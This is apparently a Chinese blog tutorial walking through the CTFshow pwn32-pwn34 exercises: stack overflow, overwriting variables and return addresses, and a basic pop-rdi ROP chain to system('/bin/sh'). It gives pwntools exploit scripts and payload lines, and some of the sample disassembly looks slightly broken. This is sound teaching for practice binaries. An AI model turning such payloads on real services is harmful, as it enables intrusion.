PWN前置基础:从缓冲区溢出到ROP链的CTF实战
2026/9/15 15:58:09 网站建设 项目流程

做CTF这些年,pwn方向始终是我觉得最有“博弈感”的领域。记得第一次在CTFshow平台上刷到“pwn入门-前置基础pwn32-pwn34”这个系列时,我正卡在栈溢出的门槛上,看了一堆文章仍然不会独立做出一道题。后来静下心把这几道前置基础题反复看了几遍,又配合调试器一点点磨栈上的字节,才总算把最核心的几条链路打通。如果你也刚开始接触CTF,不懂什么是缓冲区溢出,不知道pwntools怎么用,那么这几道题就是一个很合适的切入点。这篇文章我会完整梳理PWN的前置基础:环境怎么搭、栈和调用约定到底怎么回事、pwn32-pwn34这类题目到底考什么,再给出一个从拿到文件到getshell的完整实操过程,最后把新手常踩的坑列成速查表。希望你看完不仅会做题,还能理解背后的原理。

1. 环境搭建与工具准备:先把“打靶”的弹药备齐

1.1 为什么前置基础阶段就要认真搭环境

很多人觉得PWN入门难,一上来就啃汇编、读内核,结果几天就劝退了。我个人的看法是:PWN是动手学科,光看教程永远学不会,必须跑代码、看栈、贴偏移、调地址。前置基础阶段的关键不是学多深,而是把一套能稳定复现的本地调试环境搭好。

CTFshow平台上这类PWN题通常会给一个二进制文件,让你在远程动态容器里连接并拿flag。你需要在本地先分析二进制、写出利用脚本,最后打远程。如果本地环境不干净,后面所有操作都会变得极其痛苦。比如工具链版本不对,pwntools跑出来的偏移和远程不一致,或者gdb插件乱七八糟导致调试时看不清关键信息,这些都会让你怀疑人生。

所以第一步,强烈建议用虚拟机装一个干净的Ubuntu 20.04或22.04 LTS。不要直接在Windows上硬搞,也不要为了“方便”去装一些精简版Linux,很多库缺失会导致你分析时踩坑。VMware或VirtualBox都行,分配2核4G内存就够用,PWN题目本地运行时负载都不大。

1.2 必备工具清单与安装方式

CTF PWN常用的工具其实就那么几个,不要贪多。我用得最多的是下面这些:

工具用途备注
checksec查看二进制保护机制(NX、PIE、Canary等)随pwntools安装,也可单独安装
pwntoolsPython的PWN开发库,构造payload、远程交互必装,入门核心
gdb + pwndbg调试二进制,看栈帧、寄存器、反汇编pwndbg是gdb插件,强烈推荐
objdump / readelf静态查看反汇编、节区信息binutils自带
ROPgadget搜索gadget,构造ROP链进阶后常用,前置基础也会用到
python3-pip安装Python包系统自带

安装命令这里直接给出一套,我试过在干净Ubuntu上执行没问题:

sudo apt update sudo apt install -y python3 python3-pip gdb binutils pip3 install --upgrade pwntools sudo apt install -y python3-pwntools # 这个看情况,有的发行版需要,装了不冲突

接着装pwndbg,官网给的是git clone方式:

git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh

如果git clone慢,也可以用我用的方式:直接下载压缩包解压到本地,然后执行里边的setup.sh。装完在gdb里输入pwndbg会显示版本号,说明插件生效。

注意:pwntools和pwndbg都依赖Python3,不要再傻乎乎用Python2了。有些老旧教程还在用p32()u64(),这些函数在Python3的pwntools里照样有,不用担心。

1.3 连接远程容器的基本姿势

CTFshow的PWN题通常会给一个nc IP PORT的连接方式。做题前先手动连一下,确认环境活着:

nc 127.0.0.1 20000

如果本地没有nc,可以用apt install netcat-openbsd。连接后如果有交互提示,手动输入一些字符看看程序反应,这对后续判断漏洞点很有帮助。我一般会同时开两个终端,一个连远程观察输出,另一个用python写exp,每次改完payload直接打,非常方便。

2. 前置基础:栈、函数调用与缓冲区溢出到底在说什么

2.1 从C代码到汇编:一场“栈”上的接力赛

前置基础的核心就是理解“缓冲区溢出”。不用怕,我们先用生活化类比拆开。

想象程序里的函数调用像一条流水线,每次调用一个函数,操作系统(其实是编译器生成的代码)就会在“栈”上整理出一块临时区域,用来存放局部变量、前一个函数的现场信息以及函数返回后要回去的地址。这块区域有个专门的叫法——栈帧

写一个简单的C程序,比如:

#include <stdio.h> #include <string.h> void win() { printf("you win!\n"); } void func() { char buf[16]; gets(buf); } int main() { func(); return 0; }

func函数里的gets(buf)会把用户输入读进16字节的数组。gets不检查输入长度,如果你输入超过16个字符,多出来的部分会继续往栈的高地址方向覆盖,先按顺序吃掉紧挨着buf的旧变量、旧栈帧基址,最后吃掉返回地址。返回地址是CPU执行完func后要跳回main继续执行的地址。如果这个地址被覆盖成win函数的地址,CPU就会跳到win执行,于是拿到“额外”的程序逻辑控制权。

这就是最朴素的栈溢出利用思路——劫持返回地址

2.2 x86和x64:参数怎么传,栈怎么排

PWN入门阶段题目主要分x86(32位)和x64(64位)两种,CTFshow的前置基础两道题往往涉及这两种架构,所以必须知道它们的关键区别。

32位程序传参是通过栈来传的,调用函数前,先把参数从右往左压入栈,call指令再把返回地址压入栈,然后进入被调函数。因此如果函数有多个参数,在栈上能看到参数和返回地址挨得很近,利用时可以方便地在payload里布置参数。

64位程序传参则优先用寄存器:前6个参数分别放在rdi, rsi, rdx, rcx, r8, r9。如果参数超过6个,多余的才用栈传。所以如果想让程序跳到一个类似system("/bin/sh")的函数,通常需要先设置rdi寄存器指向字符串地址,这个操作一般通过“ROP链”里的pop rdi; retgadget来完成。

还有一个常见坑是栈对齐。x64下很多系统函数(如system)要求栈指针按16字节对齐,否则执行时会movaps指令崩溃。等你踩到这个坑回头再看这句话,就会特别有共鸣。

2.3 保护机制:不是所有栈溢出都能直接利用

拿到一个二进制,首先看checksec输出。常见保护有Canary(栈保护)、NX(数据不可执行)、PIE(地址随机化)、RELRO(GOT保护)。前置基础阶段,大部分题目不会开完全部保护,或者只开一个NX,让你能通过跳转到代码段(ret2text)的方式达成目的。

  • Canary:函数开头在栈上放一个随机值,返回前检查是否被改动。如果存在,直接覆盖返回地址会触发报错。
  • NX:栈段不可执行。如果开了NX,就不能把shellcode塞到栈上执行,只能复用程序里已有的代码或系统库。
  • PIE:程序基址随机化,所有函数地址不再是固定值,需要先泄露地址才能构造payload。

前置基础不会要求你一次性处理全部保护,但至少要知道这几个名词。我见过很多新手拿到题目就盲打,checksec都不看一眼,结果漏洞找对了但被Canary拦了,还以为是脚本问题。

3. CTFshow pwn32-pwn34 核心考点拆解:三关一次打通

3.1 第一关pwn32:变量覆盖,拿到判断条件的“后门”

根据我自己在CTFshow上做前置基础系列的经验,pwn32这关的定位是让大家先体会“输入可以覆盖栈上的其他数据”。这类题目通常简化到极致:程序里定义了一个固定大小的缓冲区,然后读入数据到缓冲区,紧接着栈上保存了一个用于条件判断的变量。如果你输入长度刚好覆盖到这个变量,并且把一个特定值写进去,就能让if判断从“不成立”变成“成立”,从而输出flag。

这类题不需要控制返回地址,连执行流都没变,完全靠“覆盖相邻数据”改变程序逻辑。很多入门教程会把这一类归为“栈溢出改变变量”。做这道题的收获是:你会亲眼看到,一个不安全的输入函数是怎样一步步改写内存的。

实际操作中,我第一步会找漏洞函数。比如看到getsread这类危险函数,重点看缓冲区变量和敏感变量的相对偏移。偏移可以通过两种方式求:一是从汇编反编译里数栈帧布局;二是用gdb打断点看栈上地址差。新手建议两种都做一遍,加深理解。

然后构造payload,先在本地试通,再打远程。比如偏移是0x20(32字节),目标值是0x11111111,那payload就是b'a' * 32 + p32(0x11111111)。注意32位程序用p32打包整数,64位用p64

3.2 第二关pwn33:覆盖返回地址,让程序“转个弯”

pwn33大概率会比上一关再往前走一步:直接覆盖返回地址,让程序跳到一个打印flag的后门函数。这类函数一般不会在正常逻辑里被调用,所以有个生动的名字叫“后门函数”或者“win函数”。在前置基础里,它就是唯一目标。

这关核心要解决两件事:

  • 返回地址在栈上的哪个偏移?通常在找到漏洞函数后,用gdb生成一段长度为N的特征字符串(比如pwntools的cyclic(200)),程序崩溃时从报错里找到ret地址被覆盖成了哪些字符,把其中连续4个字节提取出来,用cyclic_find就能算出偏移。
  • 目标地址是什么?用objdump -d或者nm找后门函数地址。

写exp时payload就是padding + p32(win_addr)。本地验证成功后,可以直接打远程。这一关做通了,你对“控制程序走哪里”会有很直观的体感。

3.3 第三关pwn34:从“跳过去”到“带参调用”

到了pwn34,题目很有可能会要求你不仅跳到一个函数,还要让它以正确的参数执行。比如后门函数不是直接输出flag,而是需要system("/bin/sh")这种真正的getshell操作。这时候问题就来了:在64位下怎么把字符串地址传给system

这就需要用到简单ROP(Return Oriented Programming)。思路是:因为程序被开了NX,不能执行栈上的shellcode,但我们可以借用程序里的pop rdi; ret小片段(gadget)把/bin/sh的地址放进rdi,然后让retsystem函数。

所以pwn34的核心考点就是ROP链的基本拼接。用ROPgadget --binary ./pwn --only 'pop|ret'能找到可用gadget。payload一般长这样:

payload = b'a' * offset + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

如果system地址或字符串地址不好找,可能还要借助libc偏移。但前置基础阶段,通常程序里已经有system和“/bin/sh”字符串,或者后门函数里直接调用了system,这就简单很多。

到这里,pwn32到pwn34其实就把“栈溢出三板斧”练完了:覆盖变量、覆盖返回地址、使用基本ROP。这些构成了后续一切栈利用的基座。

4. 实操过程:从一道“ret2text”题看完整打靶链路

4.1 信息收集:file和checksec先走一遍

为了让你有更直观的感受,我模拟一道典型的re2text题目,梳理整个实操过程。拿到文件后,先用命令看基础信息:

file pwn34test

输出类似:

pwn34test: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=xxx, not stripped

not stripped说明符号表保留着,我们可以直接看到函数名。接着看保护:

checksec --file=pwn34test

典型输出:

Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)

看见No canaryNo PIE,就可以开心地直接覆盖返回地址了。NX开启意味着栈不可执行,别往栈上塞shellcode,走ROP或ret2text。

4.2 反汇编找漏洞函数与后门函数

objdump -d看函数列表:

objdump -d pwn34test

关注main和危险函数。比如看到:

400612: push rbp 400613: mov rbp, rsp 400616: sub rsp, 0x10 ... 40061f: lea rax, [rbp-0x10] 400623: mov edi, rax 400625: call 400530 <gets@plt> ...

这里明显gets把输入读入rbp-0x10的位置,缓冲区大小就是16字节。而返回地址在rbp+8,所以gets输入的第24字节开始就是返回地址,偏移就是0x10 + 0x8 = 0x18 = 24

再用objdump -tnm找后门函数:

nm pwn34test

如果看到一个有趣的函数名比如targetgetFlag,记下地址,例如0x4006b2

4.3 用pwntools编写exp

这是最畅快的环节。打开一个python文件,写如下内容:

from pwn import * # 本地调试用 # p = process('./pwn34test') # 远程打题用 p = remote('地址', 端口) elf = ELF('./pwn34test') context.arch = elf.arch win_addr = 0x4006b2 # 你找到的后门地址 payload = b'a' * 24 # 覆盖到返回地址前的偏移 payload += p64(win_addr) # 覆盖返回地址 p.sendline(payload) p.interactive()

然后运行脚本。本地运行如果看到输出了flag或者弹出了shell,就说明payload正确。远程运行前,先确保远程程序逻辑和本地一致。CTFshow这种平台通常给你远程地址后,端口会动态分配,注意先连接过再打。

注意:如果远程没有交互,interactive()可能看不到东西,可以改用p.recvall()或者print(p.recvline())

4.4 本地调试时我的一些习惯

本地调试时,我喜欢在gets执行完打断点,看buf的地址和返回地址的位置。用gdb:

gdb ./pwn34test b *0x400625 # 执行gets之前 run <<< $(python3 -c "print(b'a'*40)") stack 20

或者用pwndbg的好处是,断下来后直接输入search查看栈上字符串。更重要的是,当我手动改返回地址时,可以观察ret之后RIP的变化。用ni单步执行到ret,看到rip跳到我指定的地址,那种感觉真的很有成就。

5. 常见问题与排查技巧实录

5.1 为什么本地打出了shell,远程却毫无反应

这是入门最常见的挫败点。优先检查以下几点:

  • 远程程序和本地是不是同一个二进制?重新下载远程文件,对比md5。
  • 偏移是否一致?不同编译器版本、不同系统,栈布局可能不一样。CTFshow平台给的远程环境一般会说明libc版本或内核版本,最好在本地也用相同版本的Ubuntu。
  • 远程连接后是否有交互提示?如果远程有一个输入提示,或者需要先选择菜单,你的payload可能发早了。可以先用p.recvuntil(...)等待提示。

5.2 x64下调用system经常遇到“0xffffffffff600000”或段错误

很多新手在ret2libc或ret2text时遇到一个奇怪的现象:本地在gdb里打成功,直接运行却段错误,或者远程直接崩。这个问题八成是栈对齐

因为64位下system内部用到movaps指令,要求栈地址16字节对齐。当你ret到system时,若RSP的末位不是0,就会崩溃。解决办法是在payload里多加一个无关的retgadget,让栈先偏移一次再进入system:

payload = b'a' * offset + p64(ret_gadget) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)

retgadget可以用ROPgadget --binary ./pwn34test --only 'ret'找,通常有一个在所有函数都适用的地址。这个问题我在入门时卡了整整一下午,后来才知道一句话就能解决。

5.3 用cyclic计算偏移的小坑

cyclic生成的随机字符是有规律的。假如程序崩溃时RIP值显示为0x62616163,不要直接手算,用:

from pwn import * print(cyclic_find(0x62616163))

但要注意大端小端:x64是little-endian,所以崩溃时RIP里的字节序列是反的。好消息是cyclic_find能自动处理。另一个坑是:如果崩溃时RIP不是来自cyclic字符,而是被截断或者受到干扰,算出来的偏移可能不对。这时可以换用调试器在ret处打断点,直接观察栈上的值。

还有一次,我用cyclic时发现程序崩在__stack_chk_fail,那说明开启了Canary,单纯算偏移没用,需要先泄露Canary。前置基础阶段一般不会遇到这种情况,但如果你真的碰到,别慌,回去看checksec。

5.4 动态容器连接延迟或超时

CTFshow的PWN题常用动态容器,每次连接都会临时启动一个容器,所以第一次连接可能要等几秒。如果直接remote()后没收到输出,建议在代码里加个超时和重试:

import time p = remote('地址', 端口) time.sleep(2) p.recvline(timeout=5)

如果还是不通,可能是端口已经重启,需要回到题目页重新开启新的容器。这类平台容器一般一段时间不活动就会回收,所以每次做题前最好确认容器还是活着的。

6. 入门路线避坑指南与个人心得

6.1 不要急着学偏难怪,先把“栈上这点事”玩明白

现在网上各种PWN文章满天飞,很多新手上来就学堆利用、学tcache poisoning,结果连栈帧都画不清楚。我真心建议前面几周只盯一个方向:栈溢出。把变量覆盖、ret2text、ret2shellcode、ret2libc、简单ROP都做一遍,再把CTFshow的前置基础系列刷完。你会发现后面学格式化字符串、堆利用时,很多思路都是从栈借用来的。

pwn32-pwn34这个标题里“前置基础”这四个字特别准确,它们并不追求让你做出多复杂的攻击,而是给你建立“程序在内存里到底怎么运行”的直觉。这种直觉靠看文章建立不起来,必须靠一次次调试、一遍遍看栈来磨。

6.2 画图比看任何教程都有效

我学栈溢出时,会在纸上画一个栈的“草图”:从高地址到低地址,记录[返回地址] [旧rbp] [局部变量]。然后每次写payload,都对照这张图验证偏移。时间久了,哪怕不画图,也能在脑子里模拟出来。遇到不认识的结构,就拉着gdb的stack命令亲眼看一下,把看到的和脑子里的图对上。

6.3 最后分享一个我现在的做题习惯

拿到题一定先做三件事:file看架构、checksec看保护、nm看符号。不是扫一眼就完事,而是把信息记录在草稿纸上。很多题目的突破口其实就藏在保护机制里:不开PIE,可以硬编码地址;不开Canary,可以放心覆盖返回地址;开了Partial RELRO,可能可以改GOT表。养成这个习惯,后续做题会越来越顺。

这几道前置基础题的难度并不高,但它们教会我的东西一直用到现在。如果你能把pwn32-pwn34做通,并且能自己独立复现一遍完整的利用流程,那么恭喜你,你已经正式迈入PWN的大门了。后面还有更多有意思的东西等着,加油。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询